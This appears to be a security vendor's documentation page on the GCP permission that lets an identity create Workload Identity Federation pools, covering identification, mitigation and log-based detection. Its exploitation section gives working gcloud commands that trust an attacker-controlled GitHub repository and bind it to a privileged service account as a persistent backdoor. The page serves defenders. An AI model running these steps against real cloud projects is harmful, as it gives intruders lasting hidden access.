> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_create_wif_pool.md).

# GCP\_CREATE\_WIF\_POOL

## Summary

|                            |                                       |
| -------------------------- | ------------------------------------- |
| **Forestall ACL Alias**    | GCP\_CREATE\_WIF\_POOL                |
| **GCP Alias**              | Persistence & Impersonation           |
| **Affected Object Types**  | Projects                              |
| **Exploitation Certainty** | Certain                               |
| **Granting Roles**         | `roles/iam.workloadIdentityPoolAdmin` |

## Description

`GCP_CREATE_WIF_POOL` indicates that an identity can create **Workload Identity Federation (WIF) pools and providers** in a GCP project. WIF allows external identities (AWS IAM roles, GitHub Actions workflows, Azure managed identities, etc.) to exchange their native credentials for short-lived GCP access tokens that impersonate a service account.

An attacker with this permission can create a WIF pool trusted by an external identity they already control, then bind that pool to a privileged service account (via `GCP_SET_SA_IAMPOLICY`). This establishes a persistent, hard-to-detect backdoor: the attacker's external identity can impersonate the SA indefinitely, surviving IAM key rotation and credential revocation.

**Key abuse scenarios:**

* Create a WIF pool trusting an attacker-controlled AWS IAM role → bind to a privileged SA → persistent SA impersonation from AWS.
* Create a WIF pool trusting an attacker-controlled GitHub repository → any build in that repository can impersonate the SA on every run.
* Establish persistence that survives detection and response cycles — the WIF binding cannot be revoked by rotating GCP credentials alone.

## Identification

### gcloud CLI

```bash
# Find who has workloadIdentityPoolAdmin at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("iam.workloadIdentityPoolAdmin")) | {role: .role, members: .members}'

# List all WIF pools in a project
gcloud iam workload-identity-pools list \
  --location=global \
  --project=$PROJECT_ID \
  --format="table(name, state, displayName)"

# List providers for each pool to understand trusted issuers
for POOL in $(gcloud iam workload-identity-pools list --location=global --project=$PROJECT_ID --format="value(name)"); do
  POOL_ID=$(basename $POOL)
  echo "=== Pool: $POOL_ID ==="
  gcloud iam workload-identity-pools providers list \
    --workload-identity-pool=$POOL_ID \
    --location=global \
    --project=$PROJECT_ID \
    --format="table(name, state, oidc.issuerUri, aws.accountId)"
done
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Workload Identity Federation**.
2. Review all pools — look for recently created pools or pools with unexpected external issuers.
3. Check **IAM & Admin** → **IAM** for principals with `Workload Identity Pool Admin`.

## Exploitation

### gcloud CLI

```bash
PROJECT_ID="target-project"
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"

# Step 1: Create a WIF pool trusting an attacker-controlled GitHub repository
gcloud iam workload-identity-pools create attacker-pool \
  --location=global \
  --project=$PROJECT_ID \
  --display-name="Attacker Pool"

gcloud iam workload-identity-pools providers create-oidc attacker-provider \
  --workload-identity-pool=attacker-pool \
  --location=global \
  --project=$PROJECT_ID \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \
  --attribute-condition="attribute.repository == 'attacker-org/attacker-repo'"

# Step 2: Bind the pool to the target SA
gcloud iam service-accounts add-iam-policy-binding $TARGET_SA \
  --project=$PROJECT_ID \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/attacker-pool/attribute.repository/attacker-org/attacker-repo"
```

After establishing the binding, the attacker's GitHub Actions workflow in `attacker-org/attacker-repo` can impersonate the target SA on every run. See [GCP\_FEDERATE\_IDENTITY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_federate_identity) for the token exchange steps.

**Compound path:** `GCP_CREATE_WIF_POOL` + [GCP\_SET\_SA\_IAMPOLICY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_set_sa_iampolicy) → create WIF pool trusted by attacker-controlled external identity → bind to privileged SA → [GCP\_FEDERATE\_IDENTITY](https://docs.forestall.io/fsprotect/edges/gcp/gcp_federate_identity) → persistent SA impersonation.

## Mitigation

1. **Restrict `roles/iam.workloadIdentityPoolAdmin`** to dedicated automation accounts managing WIF configuration; never assign to human users.
2. **Audit WIF pools and providers regularly** — any pool trusting an unexpected external issuer should be investigated immediately.
3. **Use narrow attribute conditions** on all providers to restrict which external subjects can federate.
4. **Alert on WIF pool and provider creation** — pool creation should be rare and require change management approval.

## Detection

| Log Type       | Method                               | Key Fields                           |
| -------------- | ------------------------------------ | ------------------------------------ |
| Admin Activity | `CreateWorkloadIdentityPool`         | WIF pool creation                    |
| Admin Activity | `CreateWorkloadIdentityPoolProvider` | New provider added to a pool         |
| Admin Activity | `SetIamPolicy` on service account    | `workloadIdentityUser` binding added |

```bash
PROJECT_ID="my-project"
gcloud logging read \
  'protoPayload.methodName=~"WorkloadIdentityPool"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"
```

Alert on:

* Any new WIF pool or provider creation — these should be pre-approved and rare.
* WIF providers trusting external issuers not in the organization's approved allowlist.
* `SetIamPolicy` on service accounts adding `workloadIdentityUser` bindings for newly created pools.

## References

* <https://cloud.google.com/iam/docs/workload-identity-federation>
* <https://cloud.google.com/iam/docs/manage-workload-identity-pools-providers>
